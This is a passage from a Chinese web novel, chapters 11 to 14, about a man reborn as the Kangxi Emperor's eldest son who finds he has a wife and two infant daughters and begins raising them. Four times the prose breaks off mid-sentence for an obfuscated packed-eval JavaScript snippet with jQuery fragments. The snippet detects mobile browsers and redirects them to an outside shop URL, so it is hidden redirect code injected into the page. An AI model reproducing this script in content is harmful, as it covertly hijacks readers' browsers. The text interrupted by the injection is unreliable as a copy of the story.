这样的人,这样的人——
胤礽嘴角弧度微微上扬,述说事情来龙去脉时显得格外轻松。
康熙帝捕捉到他欢喜的心思,忍不住挑了挑眉。他听着事儿啧啧称奇,听到最后更是惊叹不已,正想要就细节再询问一二时,又听胤礽道:“还有,还有……那人冲进来喊冤时……大哥冲在前面,把儿臣护在身后。”
康熙帝怔了怔,哑然失笑,他回转身往里看去,瞧着被惠妃搂着不知所措,连耳朵根都红透的胤褆,心里头欢喜得很。
虽说胤礽是他一手带大,但胤褆也是他头个立住的孩子,康熙哪能不喜欢的。他乐得见胤礽和胤褆竞争,同时期待他们往后能如他与福全般兄弟和睦,只是事与愿违,两孩子的关系别说是亲近,肉眼可见的冷淡疏离乃至敌对。
如今听胤礽说,在那般危急时刻胤褆竟是护在他的身前,可见胤褆敦厚善良,虽有心与胤礽竞争,但同时对手足也是发自肺腑的关心。
康熙越想越是欢喜,心情也跟着好了起来,因着案子而升起的怒火消散大半。
不过高兴归高兴,康熙对案子还是非常慎重地。他教梁九功传去口谕,令人取来卷宗,准备回去以后再仔细瞧瞧。
等惠妃意犹未尽地说完话,康熙帝又进去说了几句。他见胤褆魂不守舍,尤为僵硬,频频打探自己神色的奇怪模样也没来气,叮嘱几句后就带着惠妃一道走了。
帝妃二人没了担忧,心情也渐渐转好,进了御花园还顺便溜达一圈,一道欣赏落日余晖,顺带也谈谈心说说话。
康熙帝兴致盎然,把胤褆做的事一一道来,末了还与惠妃笑道:“果然有了孩子,保清的性子也变了,越发有了大人模样。”
惠妃想着刚刚的事儿,也是忍不住感动:“皇上说的是。”
“唔,朕先前还有些担心,现在倒是期待起他在朝堂上的表现。”康熙帝心下思考着,原本他打算教胤褆去兵部学习一二,现在看来这小子或许去刑部也不错?要不还是六部都转一转,说不定能发现他别的特长呢?
“皇上。”惠妃听康熙帝说起这事,忙抬眼偷偷瞅着康熙帝的神色,见他眉眼舒展,心情愉悦以后才开口:“保清他还得好生将养着,这上朝的事……”
“朕知道,再延迟些日子。”康熙拍了拍惠妃的手背,笑道:“朕知道你心疼保清,朕也心疼!待他身体养好了,再上朝旁听也来得及。”
惠妃稍稍松了口气,嘴角也噙着笑,帝妃两人有说有笑,往延禧宫而去,殊不知远在阿哥所里的胤褆正遭受巨大惊吓。
这事还得从送别康熙帝、惠妃和胤礽三兄弟后说起。等人都走得差不多,胤褆也终于能松口气,回想下他刚刚的表现如何,有没有在康熙帝跟前露馅。
没等他思考完,肚子咕咕叫了一声,登时没力气思考,脑海里只有两个字左右摇摆:饥饿。
武声见状,立马吩咐下去,不多时便有宫婢在床榻上支起牙桌,而后呈上清粥一例。
胤褆并不嫌弃,舀起一勺吹了吹凉便往嘴里送去。那粥虽是清粥,但米香浓郁,熬煮得细腻丝滑,放入口中便顺着喉咙倾泻而下,刹那间一股子热气从胃肠处向四肢百骸涌去,教全身都暖呼呼的。
“唔,好喝!”胤褆喝得心满意足。
“爷
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13624149|143509||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,听赵姑姑说这是福晋怕爷您喝酒回来不舒服,特意教人提前熬着的。”太监武声见胤褆喜欢,忙主动递话儿。
“唔……唔?”胤褆先是点了点头,而后愣了愣,随即剧烈咳嗽起来:“福,福晋!?”
“是……爷?爷!”武声今日受的刺激也够多了,以至于刹那间便从胤褆声音里听出不对劲。他迅速抬眸,看到脸孔憋得铁青的胤褆后登时浑身一激灵,拔腿就要往外冲。
亏得在武声起身的那刻,胤褆醒过神来。他第一时间叫住武声,虎着脸道:“没事,没事,爷不过是呛了下,瞧你那大惊小怪的样。”
“是……是!”
“都撤下去罢。”胤褆强打起精神,先是三两下将清粥吃完,再来挥挥手示意众人将碗碟与牙桌全数撤下去,末了表示他要休息片刻教众人先出去候着。
寝殿内的太监婢女应了声,随即鱼贯而出。直到落在最后的武声走至门口,胤褆抬声吩咐道:“武声,你去福晋那走一趟,就说爷身体不适,等养好身子再去看她,教她也放心着。”
武声应了声是,小心翼翼合拢上门。
胤褆听着外面的响动渐渐变轻,双目一合,安详地躺在床榻上休憩……个屁嘞!
他的眼睛睁得溜圆,无神地望着穹顶,疯狂回想前身的记忆,从犄角旮旯里终于翻出关于福晋的内容。
…………不是,你对你老婆的印象就这点吗?一时间,胤褆都不知他该高兴是好,还是该绝望才好,前身对福晋的注意甚至还没有对皇太子胤礽的多,喂!这像话吗!?
不对,不对,不对!
现在的问题不是这个!
他娘的……前身真的有福晋啊!
不像我,胤褆想,他可是连女朋友都没有过的存在!
他是孤儿院出身,光是读书和生活支出就足够让他忙得晕头转向,哪有什么闲暇功夫在学校里谈一场青春恋爱,而等进入工作以后他又一头扎进层出不穷的各类谜案件之中,同样也没什么闲暇功夫。
往上数数,他上回和女孩牵手还是小学学团体舞蹈的时候,现在就直接蹦到结婚的吗?
胤褆翻身而起,以头抢地,痛苦到想要疯狂搔抓脑袋。
救命!救命!救命!
谁来救救他啊啊啊!
甚至还没等胤褆整理好混乱的思绪,寝殿外依稀传来细碎的啼哭声,细碎的声音直直窜入胤褆耳中,教他先是一愣,而后嘴角不断抽搐。
福晋为何没来探望他?
因为福晋正在坐月子,所以不能出门。
哈,哈,哈,哈,哈。
他不但有老婆,而且还有女儿了!
同样是穿越,我的剧本怎么和旁人的不太一样!?
胤褆:尖叫土拨鼠.jpg
12.第十二章
尖叫归尖叫,呐喊归呐喊,抓狂归抓狂,这事儿还是要解决的。
胤褆瞪着眼,怕他没做好心理建设,见着幼崽就情绪崩溃,可想着他都占了前身的身子,该背负的责任也应当背负起来。
胤褆沉吟了一会儿,听着那细细的,直往心里钻的哭声终是忍不住。他坐起身来,扬声喊人:“武声。”
“主子。”武声忙推门而入,抬眼一瞧,只见胤褆倚在床头,脸色苍白,瞧着像是被哭声惊醒那般有些精神不济。他忖度着主子的意思,恭声道:“奴才这就去瞧瞧……”
“福晋在坐月子,两孩子哭哭啼啼的倒是扰了她休憩。”胤褆打断武声的回答,下定了决心:“把大格格和二格格抱到我这里来安顿罢。”
这两句话,一句比一句炸裂。
等胤褆说完话,武声两眼珠子也都瞪得和铜铃般大。他压抑住心头震惊,磕磕绊绊地把胤褆的话儿重复一遍,唯恐是自己听错话。
“就这么办,去罢。”
“……是。”武声喉结滚动了下,往后轻手轻脚地退出门。
胤褆交代得简单,但真要落实下去就不是件容易事,比如两位格格要搬过来,那她们的乳母婢子也得一道过来,如何安排也是个烦恼事,最重要的是这一切都得速度快,还不能惊扰到主子。
武声硬着头皮思考半响,决定亲自带人去接两位格格,另外又点了几名机灵的小太监去收拾西厢房,待会好教乳母婢女先搬过来,至于旁的东西等明日白天再搬也来得及。
武声利落地安排完事,领着人往格格那边去。跟在后头的小太监在院里不敢多嘴,到了外头终是憋不住:“武爷爷,主子怎么忽然转性了?”
“之前还不待见两位格格。”
“大格格还好些,二格格出生半个月,主子一眼都没瞧过,怎么突然就要搬去主院里……”
小太监的声音渐渐变轻,骤然发现所有人都默不作声,周遭只剩下虫鸣与那呼呼的风声。
他后知后觉,冷汗直冒。
武声抬了抬下巴,示意另外两名太监抓住他:“混账东西,是谁教你这般说话的?不会说话就别说话,没人把你当哑巴!”
小太监脸色煞白,嘴唇蠕动着想要求饶,就是话还没说出口,立马被人堵着嘴,直接拉了出去。
武声环视一圈,剩下的太监婢女各个战战兢兢的,敛起面上笑容,垂首竖手,屏气凝神。
“一个个的,都给咱家皮扯紧些。”武声把人都唤到院门口,冷着脸斥责:“主子的事也是你们能说三道四的?想想自个儿的身份,管好你们的嘴,甭让咱家听见不该有的话。”
“奴婢/奴才知道了。”
“走罢。”武声警告地瞥了眼众人,又迅速领着众人去做事。
等胤褆给自己做好心理建设,门外也恰好响起武声的问候声:“爷,大格格和二格格到了。”
“进来罢。”胤褆深吸一口气,尽可能平静地回答。随着武声推门而入,他的视线也不受控制地越过武声,落在一大一小两张肉嘟嘟的小脸上。
这也太可爱了吧!
刚刚做的一连串心理建设都被胤褆抛到脑后,他瞧着软软糯糯如汤圆团子般可爱的两个小家伙,心也变得想煮好的汤圆般烫呼呼,软绵绵的。
啊……这是原身的女儿。
不对!这是我的女儿!我有女儿耶!
胤褆前面还告诫自己这是要承担的责任,现在就一脚把前身踹飞,美滋滋地将两只幼崽归于自己名下。
新鲜出炉的傻爸爸乐得合不拢嘴,瞬间精神抖擞。他嗖地一下坐直身体,目不转睛地盯着两个孩子,先前哭哭啼啼的不知道是谁,反正现在两个孩子分别窝在乳母怀里,都安安静静,不哭不闹。
胤褆瞅瞅左边的大格格,再看看右边的二格格,两者摆在一起个头差得实在有些大,右边那个小得可怜,以至于胤褆都不知该如何触碰。
他想了想,犹豫着朝着大格格:“……阿,阿玛抱?”
别说武声,就是乳母李氏也吓了一跳,老天爷,打从大格格呱呱落地起,大皇子除去一开始还瞧了几回,待福晋二回怀孕以后便不再上心,更别提抱上一抱了。
乳母李氏喜不胜喜,急急把怀里的大格格往胤褆手里送。可不料大格格却是不乐意,脸蛋一皱,嘴巴一瘪,眼角瞬间便挂上眼泪珠子,教胤褆的动作登时僵在原地。
胤褆想了想,收回手。
乳母李氏急得满头大汗,竟是下意识把大格格往前一推,直直送进胤褆手里:“大格格乖,大格格乖!”
大格格扁着嘴,泪珠儿直往下落,她伸出小手要乳母抱,却见着乳母李氏别过头,收回手,泪珠儿滚得越发快了。
胤褆瞧着大格格可怜巴巴的样,再看避着大格格视线的乳母李氏,眉心禁不住蹙起。
他自是看得出大格格对乳母的依赖,反而对自己这个生父很是陌生。
喂喂喂,前身,你是怎么当爹的?
连你女儿都认不出你来啊!你难道都不去看孩子,不和孩子玩耍的……还真是!
胤褆翻翻记忆,气不打从一处来,前身那家伙对福晋没啥记忆,更别提对两个女儿的,大格格相关的记忆只有前面两三个月,至于关于二格格的记忆……大体就是已出了二十卷的漫画,记忆只占一个格子的程度。
真特么不是个东西!!!
胤褆瞅着眼前两张可爱小脸,在内心愤愤不平,把前身从头到脚都批判了个遍,怪不得刚刚武声听到他的吩咐会如此震惊,简直是人渣啊人……渣。
啊,这个人渣现在是我。
胤褆抽回思绪,笨手笨脚地搂住软乎乎的小家伙,笨拙地摇上两下:“宝宝乖,阿玛不是坏人哦?”
大格格求助乳母不成,瘪着小嘴可怜兮兮的,僵着身体一动不动。
明明才一岁的孩子却像是会看人脸色般,愣着只掉眼泪不哭出声,瞧着着实让胤褆心疼。
胤褆想了想,索性把大格格放在床榻上,想让她轻松些。
只是没想到小家伙刚刚离开他的怀抱,就立马往旁边爬了几步,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13639288|143509||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
远离胤褆不说更是摇摇晃晃地站起身,朝着乳母伸出双手,委屈地要抱抱。
“…………”这般的嫌弃好扎心!
“…………”乳母李氏瞧着,已是满头大汗,慌得不行。她唯恐大皇子对大格格不喜,跪在地上告罪:“主子,奴婢该死,都是奴婢的错……”
“起身吧。”胤褆摆了摆手,教人把乳母扶了起来:“一岁的大格格知道什么?她就晓得你对她好,所以她亲近你。”
这话岂不是说大皇子对大格格不好,所以大格格不亲近他?刚刚被扶起的乳母李氏慌得不行,下意识想再次往地上跪去。
胤褆说的是真心话,见她又往地上跪,索性使眼色教人把乳母李氏扶出去。
大格格伸长脖子,直至看不到乳母才缩回来,可怜巴巴地看看左边,看看右边,最后选择钻进被褥里,脑袋包得严严实实,露出个小屁股在外头。
胤褆瞧着,险些笑出声来,不过他还是努力绷着脸,又看向同样紧张得不得了的乳母。
抱着二格格的乳母周氏颤颤巍巍,屏气凝神,触碰到胤褆视线的她下意识压低了声音:“主子,二格格刚刚睡着……”
胤褆教她上前,仔细瞅了瞅二格格,小家伙双眼紧闭,小拳头攥得紧紧的,就如乳母说的那般睡得正熟。
最震撼胤褆的是二格格的尺寸,他比划了下:“只有这么点大。”
胤褆也听过新生儿与父母睡在一起发生的各种事故,瞧着小小的一团二格格,照顾的心思瞬间熄灭。
果然还是从大格格开始尝试吧?
胤褆下定决心,吩咐武声带乳母周氏和二格格到厢房里休息,先将大格格留在自己身边。
乳母周氏松了口气,高高兴兴地退出了屋子,护着二格格去了厢房。
只苦了乳母李氏,瞧了眼高高兴兴的周氏,又伸长脖子往那边看,求神告佛,请大格格千万别闹腾,千万别惹主子生气。
与此同时,胤褆正托着脸盯着在被褥里钻来钻去的大格格。虽然他上辈子没有结婚生子,但孤儿院里长大的他也是见过不少送来的幼龄孩童。
只不过那些个孩子,多是黑黑瘦瘦干干瘪瘪,偶尔才有个长得胖嘟嘟的,但像是大格格这般如福娃般圆润可爱的……胤褆敢肯定一个都没!
瞧瞧,钻起被褥来都特别可爱!
胤褆瞧着被褥里一耸一耸的动静,仿佛见到了胖嘟嘟的猫猫虫,没忍住偷偷嘿嘿两声:“好可爱,真可爱,嘿嘿。”
“…………”裹着脑袋的大格格动了动,狐疑地探出小脑袋,瞅见胤褆的瞬间又刷地钻了回去。
片刻以后,她再次探头出来,这一回的大格格终于有了些勇气,仰起头来四处张望,没想到外面除去坏蛋以外,其余人都消失得干干净净。
大格格嘴巴一瘪。
胤褆见状,眼皮直跳。
下一秒,刺耳的哭声穿透整个寝殿。
被哭声硬控十秒的胤褆痛苦面具,他捂住耳朵,脑袋嗡嗡的同时也得出答案——合着刚刚哭的是你啊!!!
13.第十三章
理所当然,胤褆一晚上没睡着觉。等第二天一大早起身时,他眼底挂着两黑眼圈,哈欠更是一个接着一个。
他努力撑起眼皮子,看了眼外头黑漆漆的天,坐在床边愣了半响,没忍住打了个哈欠:“……今日还得上朝吧?”
“回主子的话,皇上遣人送了口谕来,让爷休息几日,等身子爽利再行上朝。”
“嗯……”胤褆的眼皮直往下耷拉,挣扎着又想起一桩正事:“那准备去……请安。”
“太后娘娘、贵妃娘娘和惠妃娘娘都使人送了药材与话来,请主子好生休息,等身子养好了再去请安。”
“哦……呼……”胤褆撑不住,还是打了个哈欠。他砸吧砸吧嘴,算是明白他现在的处境就是个病号:“也就是说我还能多睡会。”
“是。”
“唔,那我再睡会。”胤褆得了肯定的答案,更是动也懒得动弹一下。他身体往后一倒,咕咚一下又跌进被褥里。
胤褆:睡懒觉可真爽啊!
尤其是经历过昨日晚间那地狱般的折磨,能睡个回笼觉简直太幸福了!
“对了,武声。”胤褆撑起眼皮,翻了个身瞅了眼武声,教他也去休息休息:“瞧你那两眼袋,都快掉下来了。”
“奴才明白。”武声脸上带笑,应了声,见胤褆合上双眼,他轻手轻脚地退到门口,抬眼示意外头端着铜盆毛巾的太监婢女退下,又教小徒弟守着,准备去隔壁茶水房里打个盹。
不过他刚刚走了两步,就发现门口还立着四人:“你们几个立着做什么?也都回去先休息……”
“武公公。”为首的乳母李氏回转身来,她手上搅着帕子,时不时抬眸往屋里瞧:“按着大格格平素的习惯,差不多该醒了!”
“什么!?”武声被这话吓得一激灵,瞌睡都没了大半。
昨晚上胤褆没好睡,武声等伺候的人也同样没好好休息。后半夜时,他还从乳母那打听了番,才晓得大格格自幼精力旺盛,不但力气比一般同龄的孩子大得多,而且日日闹腾,昨天晚上为了哄她睡着,众人就花了大半个时辰。
至于后面睡睡醒醒的事……哈!
武声想想昨日惨痛的经历,只觉得头皮发麻,他夺步上前,一把拉开门,绝望地发现被褥蛄蛹两下,随即从里面钻出个小脑袋来,赫然就是睡醒的大格格。
大格格先是坐在床榻上,左顾右盼,而后她兴致勃勃,沿着被褥往上攀爬,最后落在了最高处——胤褆的胸上。
我的小祖宗哦!
武声眼前一黑,拔腿就往里冲,却眼见着大格格先用胖嘟嘟的小手用力拍上几下,后头更是身体前扑,直直盖在胤褆的脸上,胖乎乎的小脚丫左蹬一下,右蹬一下。
遭到袭击的胤褆瞬间醒了,他睁大双眼,刚要喝止大格格的动作,还没说话呢一只小脚丫直直蹬进他嘴里。
!!!???
且不说武声惊了个目瞪口呆,惨遭jiojio堵嘴的胤褆也猛然坐起身,双手接住滚落的大格格,同时苦着脸:“呸呸呸呸呸!”
大格格呆呼呼的面朝天,躺着,圆圆的眼睛盯着胤褆,瞧着还挺委屈。
“你还委屈上了,瞧瞧你的脚!”
“唔。”大格格嘴巴一瘪,小脸皱成一团。
“等等。”胤褆有了昨天的经验,瞧着小祖宗的架势,冷汗都冒出来了。
还没等他说完话呢,下一秒大格格小嘴一张,惊天动地的哭嚎声便在胤褆耳边奏响。
“呜哇哇哇哇哇——!”
“宝宝不哭,不哭……祖宗,求求你别哭了!”
“主子,还是交给奴婢吧。”
“主子,大格格还小呢!”
武声和乳母李氏等人一拥而入,七嘴八舌的劝慰着。
等屋里再次安静下来时,胤褆的瞌睡也消失得无影无踪。他起身洗漱更衣,又去廊下呆了片刻,做足了心理建设,艰难地再次回到屋里。
大格格填饱了肚子,乍一看又是只可可爱爱的雪团儿,只不过在胤褆眼里她与大魔王也没啥区别了。
好吧,顶多是可爱的大魔王。
胤褆先用了早膳,再喝了汤药,随即去厢房瞧了眼哭得像只小猫崽般可怜的二格格,等二格格睡着后去陪大格格玩耍到午膳前。
午膳后的流程也差不多,用完午膳以后胤褆先抱着大格格去看二格格,然后陪大格格到屋里练习走路,认物学话,等这么一圈忙碌下来,时间也到用晚膳的点了。
先不说大格格累不累,胤褆已快要累死了。趁着乳母李氏把大格格抱去喂奶的间隙,他坐在廊下,吃了口宫婢送来的玫瑰清露,顺手把盏子搁在身边,倚着柱子昏昏欲睡。
要是能一直都这般清闲,就好了。
正当胤褆思绪渐渐放空,脑袋一下一下往下掉时,外面嘈杂声渐起,由远至近变得越发响亮,最后在嘹亮的‘大哥’呼喊声中,三皇子胤祉蹦进大阿哥所:“大哥!大哥!”
“嗬!三弟!?”胤褆的瞌睡虫瞬间没了,打起精神往声音来源处看去,正巧见着四皇子胤禛也跟着胤祉走了进来:“四弟也来了?”
比起他来,胤禛更像是兄长,不但走起路来稳稳当当,而且手里牵着个比他矮小不少的皇子。
胤褆定睛一看,笑道:“胤禩来了?”
与胤祉胤禛一道来的是八皇子胤禩,和后世传闻不同,在胤褆记忆里八弟胤禩在搬到延禧宫以前,也曾在景仁宫居住过,与四弟胤禛曾相处过一段时间,等搬到阿哥所也选择住在四弟胤禛对面,两人感情相当不错。
就是不知后头究竟是发生了什么,让他们走向陌路,乃至视对方为死对头。
胤褆思绪一转,又打量了眼胤禩,无论后世史书记载又或是电视剧把他描绘成如何模样,就胤褆看来他一双眼儿明亮,衣着整齐干净,身姿挺拔,瞧着精神气十足,就是个普通的小孩儿。
‘普通小孩儿’胤禩瞅了眼胤褆,对胤褆和善的态度稍有些惊讶,想想又觉得大体是三哥四哥在场的缘故。
胤禩脸上扬起笑来,小大人般文绉绉道:“听说大哥昨日病了,弟弟与三哥四哥一道来瞧瞧您,可有打搅大哥休息?”
胤褆摆摆手,招呼他们三个过来坐下,又教人去取其余点心来:“什么打搅不打搅的,我们兄弟间哪用得着这般客气?”
胤禩抿嘴笑了笑,跟着另两位兄长走上前。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13656285|143509||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
等走进了些,他的目光落在胤褆憔悴的面容上,登时大吃一惊:“大哥?您的脸色怎么这么差,可是身体尚未好转?御医怎么说的?您要不还是先去屋里休憩休憩?”
早上到慈宁宫请安时,胤禩听苏麻喇姑说起大皇子昨日生病的事,说是上吐下泻,引得康熙帝都去看了一遭,教太后听着也心生担忧。
还是惠妃开口,说胤褆是肠胃不适,吃上几服药稍适修养即可,这才教太后放宽了心。
胤禩瞧着惠妃神色平静,甚至还带着笑,自是没有怀疑,却没想到胤褆竟会如此憔悴!
胤祉和胤禛闻言,连忙抬眸看去,同样被胤褆眼底的青黑吓了一跳。他们一左一右扶着胤褆,要不是人小力气还不够,险些直接把胤褆给抬进去。
“大哥,大哥,您怎么这般憔悴?”
“您还在外面吹风,快回去躺着罢!”
“狗奴才,还不赶紧过来帮忙!”
胤褆惊讶了下,而后忙不迭止住三人的动作:“哎哎哎,不是不是。”
而后他拉着三人,教他们挨着自己一道坐下,笑眯眯地把点心塞进三人手里:“与生病无关,我昨晚上没睡好,现在还有点困呢。”
“没睡好?为什么?”胤祉呆呆地捏着块绿豆糕,想不明白。
胤禛和胤禩也是如此,别扭地瞅瞅手里的糕点,总有种自己被当小孩忽悠的感觉。
怪怪的,又有点开心。
胤褆还未开口,恰好乳母李氏把大格格抱出来,她先是给众人行了礼,而后熟练地把大格格送进胤褆手里。
行云流水的一幕教胤祉三人都愣住了。
胤禩是见过大格格的,瞧了眼转着眼睛的大格格,又看了眼理所应当的乳母,沉默一瞬后磕磕绊绊道:“这是,这是大侄女吧?大格格好像又长大了不少。”
“是吧?”胤褆颠了颠比喝奶前份量要重点的大格格,眼里含着笑:“我想你大嫂正在坐月子,就教人把大格格和二格格挪到我这边来。”
胤禩脸上的笑容凝固了,嘴巴开开合合,半响没吐出一个字来。
“闹,就是因为她。”
“她昨晚闹腾了一宿,害我也没得好好睡觉。”胤褆戳戳大格格肉嘟嘟的小脸,说是埋怨,话语里却满是无可奈何,半点气性都没。
胤禩喉结滚动,恍恍惚惚半响才回过神的他,急急往胤祉和胤禛的方向看去,对上同样茫然的两双眼儿。
胤祉:“……”
胤禛:“……”
胤禩:“……”
新任傻爸爸胤褆还在强调:“不过我和你们说,别看大格格还小,力气却是足得很呢!昨天晚上我和武声几个愣是摁都摁不住她,还有今天早上,她一脚就把我给蹬醒了,瞧瞧那力气就是不一样,往后定然……”
傻爸爸胤褆眉飞色舞,越说越起劲,连大格格脚脚有力把他蹬醒都成了优点,挨个与弟弟们述说。
三人浑浑噩噩,不知听了多久,也不知自己是如何拎着食盒出的大阿哥所。
直到走到自家门口,胤禩才率先醒过神来。他反手攥紧胤禛的袖角,脸色大变,身体摇摇欲坠:“四哥,怎么办?大哥的脑袋好像坏掉了!”
14.第十四章
“胤禩啊……”四皇子胤禛神色莫名,半响拍了拍胤禩的肩膀:“大哥,他,嗐。”
胤禩睁大了眼儿,瞅着胤禛的表情,他从胤禛的欲言又止里看出了些许端倪,惊得瞳孔地震,整张小脸都瞬间紧绷,他思考再三,想来延禧宫的重担怕是要自己挑了。
“就算大哥傻了。”
“我也会照顾大哥的QAQ!”胤禩声音里带着哭腔,抹了把脸就直直往八阿哥所里跑。
八弟张口就来啥呢。
没想好怎么说明这桩事的胤禛听得一愣一愣,见胤禩跑了连忙追上前去:“不是,八弟!你听我解释啊!”
三皇子胤祉瞅着这一幕:“……”
他看着平素口舌不太利索——起码没八弟利索的四弟绞尽脑汁,追在胤禩后头试图解释此事的窘迫样子,忍不住笑出声来。
胤祉慢吞吞地跟在后头,笑眯眯地也跟着进了八阿哥所。
不过他觉得胤禩有一点没说错……大哥的脑袋肯定是坏了。
坏了,也挺不错的。
胤祉思绪一顿,连连摇头,把脑海里的念头甩出去。他怎么能这么想呢?大哥的身体才是最要紧的。
追上胤禩的胤禛费尽口舌,终于把事情经过与胤禩说了个遍。最后他抹了抹额头汗珠,仔细叮嘱:“御医都说了,大哥瞧着状态不错,后头只要好好静养就是。”
“静养……就刚刚那算静养?”
“…………”胤禛想想刚才大格格爬到胤褆头顶作威作福的架势,沉默一瞬:“主要是大哥觉得轻松,心情愉悦就……就算是吧?”
那您用得着疑问句吗?
这不就是睁眼说瞎话吗?
胤禩斜眼瞧摆烂的胤禛,一时间都说不出话来,偏生他想想目前状态,也觉得有些为难四哥了。
谁能想到大哥突发奇想,就忽然把两个侄女抱到前面,还说要亲自抚养!
胤禩灵机一动,呐呐道:“大哥不会是混淆了记忆,把汗阿玛亲自照看太子二哥的事……记到自己身上了吧?”
追上前的胤祉脚下一滑,瞪圆了眼。
胤禛呼吸一滞,下意识想要说胤禩异想天开,可顺着胤禩的思路往下捋,他竟又觉得还真有可能!
“哈,哈,哈。”
“真的假的啊?”
“不然你们说,还有什么可能?”
“……那我宁愿相信大哥脑子坏了。”
“对啊,所以他才想差了嘛!”
三人叽叽喳喳,吵作一团。
与他们一般想不通的,还另有其人。
一名穿着靛蓝色宫装的年轻婢女步履匆匆,小跑着进了大阿哥所的后院,径直往东配殿而去。
东配殿乃是大福晋伊尔根觉罗氏坐月子的房间,明明是炎热的七月,门口却是悬着厚厚的棉帘子。
宫婢掀起帘子一角,一股子热气伴随着浓烈的中药味瞬间涌出。她侧着身子钻了进去,喜盈盈地请安。
“红雀,瞧你一脸喜色的,是有什么好事?”大福晋倚在床榻上,手里拿着针线,细细缝制着一件小衣衫,好奇问道。
“回福晋的话,福晋说的真准,红雀是来报喜的。”红雀脸上带笑,把前头发生的事说给大福晋听。
大福晋先是漫不经心的听着,听到后头她平静的脸庞悄然出现一道裂痕,她放下手里缝了一半的衣衫,转而看向红雀:“你……你说爷把大格格和二格格抱去前院了?”
“回主子的话,正是如此呢!”
“爷,爷还说是……因为本福晋在坐月子,所以就由他来照看大格格和二格格?”
“是的。”
“…………”大福晋的手扶着额头,沉默半响又转身看向身侧的老妇人:“赵嬷嬷,我瞧着我好像得了病——怎么开始幻听了呢?”
“福晋!”赵嬷嬷脸上带着笑,等听到大福晋的话以后登时笑不出来了。
她无可奈何地瞅着大福晋,虽说屋里在的人都是自家福晋的亲信,但难保万一,赵嬷嬷轻轻拍了拍大福晋伊尔根觉罗氏的手背,嗔道:“福晋,这不是做梦呢!”
“爷为了您,特意把大格格和二格格抱到前院里亲自照顾了呢!”
“哎……”大福晋半点不信,想了想道:“赵嬷嬷,您说爷的脑袋不会是真,真出问题了吧?”
“福晋!”赵嬷嬷打住大福晋的话,想劝又不知道应当从何说起。
按理说大皇子为了能有个嫡子,日日都宿在福晋屋里,完全不看旁的格格姬妾,就这待遇也是羡煞众人。连大福晋的娘家人得知以后,还登门劝大福晋贤惠些,给后头的弟妹们做个表率。
在所有人口中,大福晋很幸福,可是这真的幸福吗?
赵嬷嬷想着大格格诞下以后大皇子失望的表情,稍稍看上几回就不再注意的态度,再想想二格格诞生后大皇子甚至瞧都没来瞧一眼的态度,着实无法朝着一手带大的大福晋说出幸福二字。
赵嬷嬷叹了口气,斟酌再三还是开口说道:“福晋,说不定爷想通了呢!”
“是啊,福晋。”红雀瞧着气氛不对,忙笑着接话:“奴婢听说爷很疼爱大格格呢,不但昨晚上留在屋里,而且今天还陪大格格玩了一整天,就连二格格都去看了好几回。”
“对了对了!”
“刚刚三爷、四爷和八爷来的时候,爷还炫耀了好久呢。”红雀瞅着大福晋的神色,忙不迭把先前发生的事逐一道来。
大福晋敛了表情,沉默不语,半响她捡起缝制了一半的衣衫,再次绣了起来:“再看看罢,说不定又是爷一时兴起。”
被认定为一时兴起的胤褆打了个喷嚏,歪在床榻上,手有一下没一下拍在大格格,嘴里哼着温柔的调子。
打小他就记得这调子,孤儿院的妈妈们没人知道这调子的来源,最后都说许是自己的亲人哄他睡觉,自己创作的歌曲。
胤褆轻轻哼着调子,别说抱着老虎布偶的大格格昏昏欲睡,就是他也脑袋一点一点,渐渐沉入梦乡。
随着屋里没了声响,武声也探身进来查看,而后挥了挥手,一群宫婢太监鱼贯而入,轻手轻脚地给胤褆褪去鞋袜,盖上被褥,又悄无声息的退了出去。
一日、两日、三日……
当胤褆被御医宣布痊愈,不必再喝汤药时,胤褆也照看了孩子十日,自诩可以脱离新手奶爸,朝着专业奶爸迈出一大
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13666019|143509||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
步。
咳咳,这不是重点。
正当胤褆一手端碗,一手拿勺,专心给大格格喂奶糊糊时,皇太子胤礽抬步进了门。
